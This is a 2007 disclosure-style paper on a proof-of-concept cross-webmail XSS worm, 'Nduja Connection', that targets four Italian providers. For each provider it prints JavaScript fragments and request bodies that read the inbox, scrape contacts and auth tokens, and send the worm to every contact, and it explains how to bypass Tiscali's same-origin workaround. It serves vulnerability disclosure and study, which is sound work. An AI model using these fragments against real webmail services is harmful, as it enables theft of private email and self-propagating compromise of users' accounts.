Advertisements

 Paper: A PoC of a cross webmail worm (XWW), called "Nduja connection"

Written by Rosario Valotta

Friday, 13 July 2007

Link To Video Demonstration:

http://rosario.valotta.googlepages.com/NC2.html

Introduction

Nduja connection is the “baptism name" of the worm I have implemented (it’s the first worm that I ever wrote and probably also the last one, therefore deserves at least a worthy baptism... before the funeral!).

It consists of  a simple JavaScript code, that behaves exactly as a classic “desktop” worm, by exploiting  XSS vulnerabilities found in some webmail providers.

The main feature of this worm is that it is "cross webmail" (from which the acronym XWW - Cross Webmail Worm), meaning it is able to propagate itself, not only inside a single webmail domain (like the Yammaner.js worm that has infested Yahoo in 2006), but also through different providers.

The worm executes and propagates itself exploiting XXS vulns, so the only limitation to its spreading is bound to the presence of a XSS vuln inside the webmail domains.

Although the code of Nduja Connection is perfectly working, it is only of a PoC and it does not want to represent a concrete threat for privacy of the customers and for webmail services functionality. The aim of this project is only to show the possible critical consequences deriving from not caring about XSS vulns, mainly in services with a critical customer base like webmails are.

On the basis of an “ethical” choice and for respect for the involved parts (the privacy of the customers on a side,  the job of professionals on the other) the code source of Nduja Connection will not be publicly disclosed; only for an educational  purpose  some  code "fragments”  will be presented, in order to better understand  the webmail access and propagation mechanisms.

For this reason I decline responsibility for any abuse that can be done using the informations shown in this document and I invite the responsible people from  webmail providers to readily  patch the vulnerabilities I’ve found  because their customers’ privacy  is currently to risk. “P-R-I-V-A-C-Y is priceless to me!”

All the providers have been notified about the the XSS vulnerabilities and they will be given 15 days for taking in account the problem; after that the XSS strings will be disclosed.

 

Features

In this PoC I have decided to test the worm code on 4 webmail providers among the most popular in Italy:

  • Libero.it
  • Tiscali.it
  • Lycos.it
  • Excite.com

 

In all these webmail providers some XSS vulns allow the injection of malicious scripts within the “body” of an e-mail; this means that by merely opening the “infected” e-mail (without any further user interaction), the contagious effects of Nduja Connection can take place.

This kind of viral capability increases the spreading chance of the worm, as is not asked to the customer to click upon a link or open an attachment).

The choice of the providers of this PoC has been bound to the presence of an exploitable vuln  (with the above features) within the webmail domain.

Also other popular providers (e.g. Gmail, Yahoo, Hotmail) suffer from XSS vulns in their webmails, but their severity is not so high to let worms like Nduja Connection to propagate.

 

The life cycle of  Nduja Connection is similar to a classic e-mail  worm and consists of the following points:

 

  • Collecting (and possible forward  towards third parts) of the e-mails present in the Inbox
  • Collecing the contacts email addresses
  • Self Propagate to the contacts

 

The malicious side-effect of Nduja Connection consists in the theft of emails, with consequent violation of the privacy. The features of the code (its "cross" characteristic) enable the aggressor with the real possibility to collect a huge size of  data about e-mail accounts, relationships among accounts and information exchanged between accounts: a very “hot” data base of private informations, with an easy "market" on the web...

 

Like every other worm, two ways exist to stop (or not be hit) from the worm:

 

1.    don’t open the “suspected” e-mails: in this PoC all the "infected" emails  are marked with  "Nduja Connection" in the subject. In a real environment, if the attacker wants to diffuse the worm on the web, a more tricky subject like "R: Hello! "or something like that would works better…)

 

2.       protect the webmails from XSS vulns, so that, even if  the malicious email is opened, the malicious content is stripped

 

Injection of the code

In order to start the worm propagation a first viral email needs to be sent. This can be accomplished using built-in features of webmails (like the often provided rich content composer) or a tool for tampering HTTP requests (eg. FF Tamper Data or IE HTTP Analyzer).

Once that the first email is sent, clicking on it is enough to start propagation.

 

Analysis of the source code

 

The structure of Nduja Connection follows  the same outline for all the providers:

 

1.       Domain analysis: just because the code is cross webmail, the first action to perform  is checking the domain the code is running in:

 

function widenDomain (domain){

      if (domain == null || domain == ""){

            return domain;

      }

      var wdomain = domain;

      var word_list = wdomain.split(".");

      var l = word_list.length;

      if (l > 2 && isNaN(word_list[l - 1]) && isNaN(word_list[l - 2])){

            wdomain = word_list[l - 2] + "." + word_list[l - 1];

      }

      return wdomain;

}

 

the function widenDomain takes in input the value of  the current document domain (document.domain) and returns the value of the second level domain (es from f012.tiscali.it à  tiscali.it). This filter is needed  in the scenarios (like Free, Tiscali, Lycos and Excite) in which the third level domain changes in each session (load balancing approach, I guess).

 

2.       Redirection on the function that executes the core logic of the worm: cause of the different possible execution domains, the core logic changes as well. For each domain a specialized routine executes the business logic of the worm

 

3.       Execution of Core logic: it is made of 4 steps:

 

a.       Mail collecting: in this step a XMLHTTPRequest is done towards the URL of the Inbox page and the response document is parsed in order to collect  the email data

b.       Contacts collecting: in this step a XMLHTTPRequest is done towards the URL of the Contacts page and the response document is parsed in order to collect contacts’ email addresses

c.       Auth Request: on some providers it is not allowed to directly send an email; you must first obtain an authorization token. So, whenever required, before sending an email,  a XmlHttpRequest call is made to the appropriate URL (usually the mail composer page URL) and then the response document is parsed  in order to recover informations about the auth token

d.       Propagate: in this step the worm propagate itself to the contacts’ email addresses using informations gained at steps b) and c)

 

Below, some details about the different implementations of the worm code on the different providers.

 

 

Tiscali.it

The Tiscali is most emblematic case and at the same time the one that required more effort to be  exploited. In April 2007, after several advisories of XSS vulns in their portal (among them http://seclists.org/fulldisclosure/2007/Apr/0482.html), Tiscali management  communicated through the blog Exploit.blogosfere.it (http://exploit.blogosfere.it/2007/05/tiscali-vulnerabilita-resolve-and-the-relationship-with-the-sicurezza.html) that all the vulns had been closed.

Not really.

Tiscali’s solution was only to delete from the session cookie  the value of ssoToken parameter,  that is needed to call any URL inside the mail.tiscali.it domain during an authenticated session.

Honestly, this has not been the only workaround put in place by Tiscali; they also adopted a trick to limit the XMLHTTP calls inside the mail.tiscali.it domain. The body of each e-mail in Tiscali webmail is displayed inside a frame (nested in a series of parent frames and framesets...);  through a Javascript function loaded on the onload event, the origin domain of the frame containing the email body is modified using the function widenDomain that I described above. The effect is that the document.domain of the frame turns  from mail.tiscali.it to tiscali.it. Thanks to this trick, Javascript  Same Origin Policy prevents scripts loaded in the frame to perform  XMLHTTP calls towards different domains (es. mail.tiscali.it). It would seem impossible to proceed with the exploit... but there is always a way!

The "theoretical" solution is simple:

·         find another XSS in the domain of interest (mail.tiscali.it) that it is not bound to ssoToken (remember that this parameter is not more available)

·         create an iframe inside the frame that contains the email body

·         load the URL with the newly found XSS into the iframe just created

 

The result of this approach is that the document contained in the new iframe will have mail.tiscali.it domain and a XSS attack ready to be used inside of it!

 

Step A – Mail reading

In order to read the Inbox emails, a XmlHttpRequest is performed towards the URL:

 

mailurl="/cp/ps/Mail/EmailList?search=&sh=&d=tiscali.it

&fi=1&sd=Desc&an="+user+"&l=it&fp=INBOX&sc=&u="+user+"&t="

+ssoToken+"&ss=";

 

 

where user it is the username of the customer (the receiver of the mail) and ssoToken is a id of the customer session. The ssoToken parameter, like already explained, is present in all (or nearly) the URLs of mail.tiscali.it domain; the substitution or omission of such parameter involves the invalidation of the session with consequent redirect on the login page.

After the call response, some simple XPath expressions can be used to grab the text (preview) of the emails:

 

var nodesSnapshot = document.evaluate("//div[@class='email-field']/a[@id]", document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );

 

 

 

Step B – Contacts retrieving

The call to the contacts page is done through the URL:

 

var contacturl="/cp/ps/PSPab/viewContacts?d=tiscali.it&u="+user+"&t="+ssoToken+"&l=it";

 

 

The parsing of email field  of the contacts can be done through an evaluate instruction of type with a XPath expression:

 

nodesSnapshot = document.evaluate("//div[@class='field170' and @style='']/a", document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );

 

Step C - Propagation

Mail sending on Tiscali is performed through a POST call to the URL:

 

postUrl='/cp/ps/Mail/AddAdvMsg?d=tiscali.it&u='+user+'&t='+ssoToken+'&l=it';

 

 

Among the header of the request you must  specify the Content-type used:

 

 

req.setRequestHeader('Content-Type','multipart/form-data; boundary=---------------------------114642296517921');

 

 

The boundary  value is dynamically generated for each session, but it is not checked against the session value, so it is possible to send a mail using an already generated, valid  boundary value.  The POST is composed with a multipart structure; below a list of  the most interesting parameters:

 

name="to": adressee of the mail

name="subj": object of the mail

name="lastChangedTimeStamp": represents the timestamp of the request for the webmail composer; it can be set to ‘’ (blank) name="lastSavedTimeStamp": it represents the timestamp of last save in the draft folder; it can be set to ‘’ (blank)

name="draftID": it  represents a ID of the saved message in the draft folder; it can be set to ‘’ (blank)

name="msg": this is the message body; here goes the HTML injection name="an": sender username

 

Libero.it

 

Step A – Mail reading

 

The access to the Inbox folder is performed through a XmlHttpRequest towards:

 

sendMsgQuery=' ID=' +top.SessionID+' &Act_Msgs=1&C_Folder=aW5ib3g = '; mailUrl=top.document.location.pathname+"?"+sendMsgQuery;

 

where top.SessionID it is a reference to the variable SessionID present in the URL of the object top.

At the end of the call,  the innerHTML of the XMLHttpRequest object is coded in HTML entities, so,  has not been possible to apply XPath in order to extract the email informations. I have used a simple approach of substring searching that, tough not elegant, brings the desired results:

 

sub=rt.substring(rt.indexOf('<b>')+3,rt.indexOf('</b>'));

stolenMail='';

for (i=0; i<60; i++){

stolenMail=stolenMail+sub+";";

rt=rt.slice(rt.indexOf(sub)+sub.length+4);

sub=rt.substring(rt.indexOf('<b>')+3,rt.indexOf('</b>'));

}

     

 

Step B - Contacts

The call to the contacts page is performed through the URL:

 

var contacturl=top.document.location.pathname+'?'+'ID=

'+top.SessionID+'&Act_ABook=1&DIRECT=1&Tpl=addr_data&randomVal=';

 

The addresses parsing is performed through this routine:

 

 

contactArray=rt.split('["');

mailArray=new Array();

for ( var i=0 ; i < contactArray.length; i++ ){                 

      split=contactArray[i].split('","');

      mailArray[i-2]=split[3];

}

 

 

Step C – Propagation

 

The URL for email sending in Libero.it is:

 

 

postUrl=top.document.location.pathname;

 

requestBody='HtmlBufferFormat=1&HtmlText='+xss+'Role=

&impr=&BackgroundUrl=&Text=link&impr=&ID='+top.SessionID+'&Act_C

_Send=1&HELP_ID=compose&RecipNb=0&FileNb=0&CompoState=

1&Act_Role=-1&Sign_Added=1&Facility=0&referrer=&sender=

'+useremail+'&epmRequested=0&CompoFFN=&AliasTo=

'+dest+'&AliasCc=&AliasBcc=&Subject=

Nduja Connection&FormatHTML=1&police=Font&TailleCar=

0&Text2=&Val=&TypeVal=6&TypeURL=http%3A%2F%2F&Txt1=&Txt2=&Txt3=&Txt4=

&Txt5=&Txt6=&Txt7=&Txt8=&Txt9=&Bcg1=&Bcg2=&Bcg3=&Bcg4=

&Bcg5=&Bcg6=&Bcg7=&Bcg8=&Bcg9=&change=0';

 

where HtmlText is the HTML l’injection, useremail is the sender email account and dest is the destination email address.

 

Excite.com

 

Step A – Mail collecting

In Excite.com the Inbox URL is located at:

 

mailUrl='/folder_msglist.php?m=0&ArdSI='+ArdSI;

dove top.SessionID è un riferimento alla variabile SessionID presente nella URL dell’oggetto top

 

ArdSI parameter is found both in the document URL and in the cookie.

 

The email parsing can be performed with an XPath expression:

 

 

var nodesSnapshot = document.evaluate("//tr[@class='chkBxDesel']

//td[@class='chkBxDesel']//input[@type='hidden']", document, null,

XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );

 

var nodesSnapshot2 = document.evaluate("//tr[@class='chkBxDesel']

//td[@class='chkBxDesel']//a//font[@size=2]", document, null,

XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );

     

The first expression extracts the sender while the second one extracts the subject.

 

Step B – Contacts collecting

The Address book URL is:

 

var contacturl='/abook.php?ArdSI='+ArdSI;

 

and the XPath expression for parsing is:

 

 

nodesSnapshot = document.evaluate("//iframe[2]//td[7][@class='chkBxDesel']//font[@size=2]", document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );

 

for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ ){

      temp=nodesSnapshot.snapshotItem(i).textContent;

      stolenContacts[i]=(esempio.split("(p)")[0]).substring(0, temp.length-4);

}

 

Step C – Auth request

On Excite.com every email sending request need a pair of parameters (name,value) that changes on every session; this couple of parameters can be obtained by issuing a request to the composer page:

 

reserveTokenUrl='/compose.php?ArdSI='+ArdSI;

 

and parsing the response for grabbing the token name and its value:

 

userToken = req.responseText.substring(req.responseText.indexOf('><input type=hidden name=ArdSI')-32,req.responseText.indexOf('><input type=hidden name=ArdSI'));

 

userTokenName = req.responseText.substring(req.responseText.indexOf('><input type=hidden name=ArdSI')-57,req.responseText.indexOf('><input type=hidden name=ArdSI')-51);

 

Step D – Propagation

The URL for sending an email on Excite.com is the following:

 

postUrl="/msg_proc.php";

 

requestBody='saveAsDraft=&ca=&m=&s=&d=&mid=&ard=

0&cbm=0&'+userTokenName+'='+userToken+'&ArdSI='+

ArdSI+'&msg_to='+escape(dest)+'&msg_cc=&msg_bcc=

&msg_subject=Nduja%20Connection&msg_imp=&msg_sent=

on&msg_type=html&msg_fclr=&msg_bkgd=&rte=0&noCa=1

&msg_body='+escape(xss);

 

in the request body you can see that dest is  the destination email address and xss is the JS injection.

The POST request must be done using the correct Content-Type:

 

req.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

 

Lycos.it

 

Step A – Mail collecting

The Inbox URL is:

 

mailUrl='/app/msg/mail/list.jsp?id=5';

 

the page parsing can be done using simple string manipulation routines:

 

stolenMail=rt.split('</a><a href="/app/msg/mail/read/view.jsp');

for (i=0; i<stolenMail.length; i++){

      stolenMail[i]=stolenMail[i].substring(stolenMail[i].lastIndexOf('>')+1, stolenMail[i].length);

}    

 

Using this routine you can obtain 4 grouped results for subjects, senders, dates, sizes, as Lycos Inbox outlines uses vertical DIV to group each mail element type. So you need some kind of post processing if you want to see email in a more readable outline.

 

Step B – Contacts collecting

The Address book URL is:

 

var contacturl='/app/abook/list.jsp?f=0';

 

Contacts addresses can be extracted using this statements:

 

 

rt=rt.substring(rt.indexOf('class="cellblue">')+17,rt.length);

contactArray=rt.split('class="cellblue">');

for (i=0;i<(contactArray.length/2);i++){                                                    mailArray[i]=contactArray[i].substring(0,contactArray[i].indexOf('<'));                              

}

 

Step C – Propagation

Email sending in Lycos.it is performed calling:

 

 

postUrl='/app/msg/mail/compose/action.jsp';

 

requestBody='name0='+username+'&composebody='+escape(xss)+

'&act=101&popupmode=1&composebodystyle=DISPLAY%3A+

block%3B+FONT-SIZE%3A+12px%3B+FONT-FAMILY%3A+Arial

&priority=0&pleasewait=Caricamento+Rubrica&group=&

format=html&composesender='+username+'&composesenderaddr=

'+escape(userAddr)+'&composeto='+escape(dest)+'&composecc=

&composebcc=&composesubject=Nduja+Connection&composesignature=262';

 

where dest is  the destination email address, xss is the JS injection and username is the sender email address.

 

The proper Content-type should be set:

 

req.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

 

All comments and suggestions will be appreciated ( rosario dot valotta at gmail dot com)

Original Link to Paper:



Share this content:
        
Advertisements
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.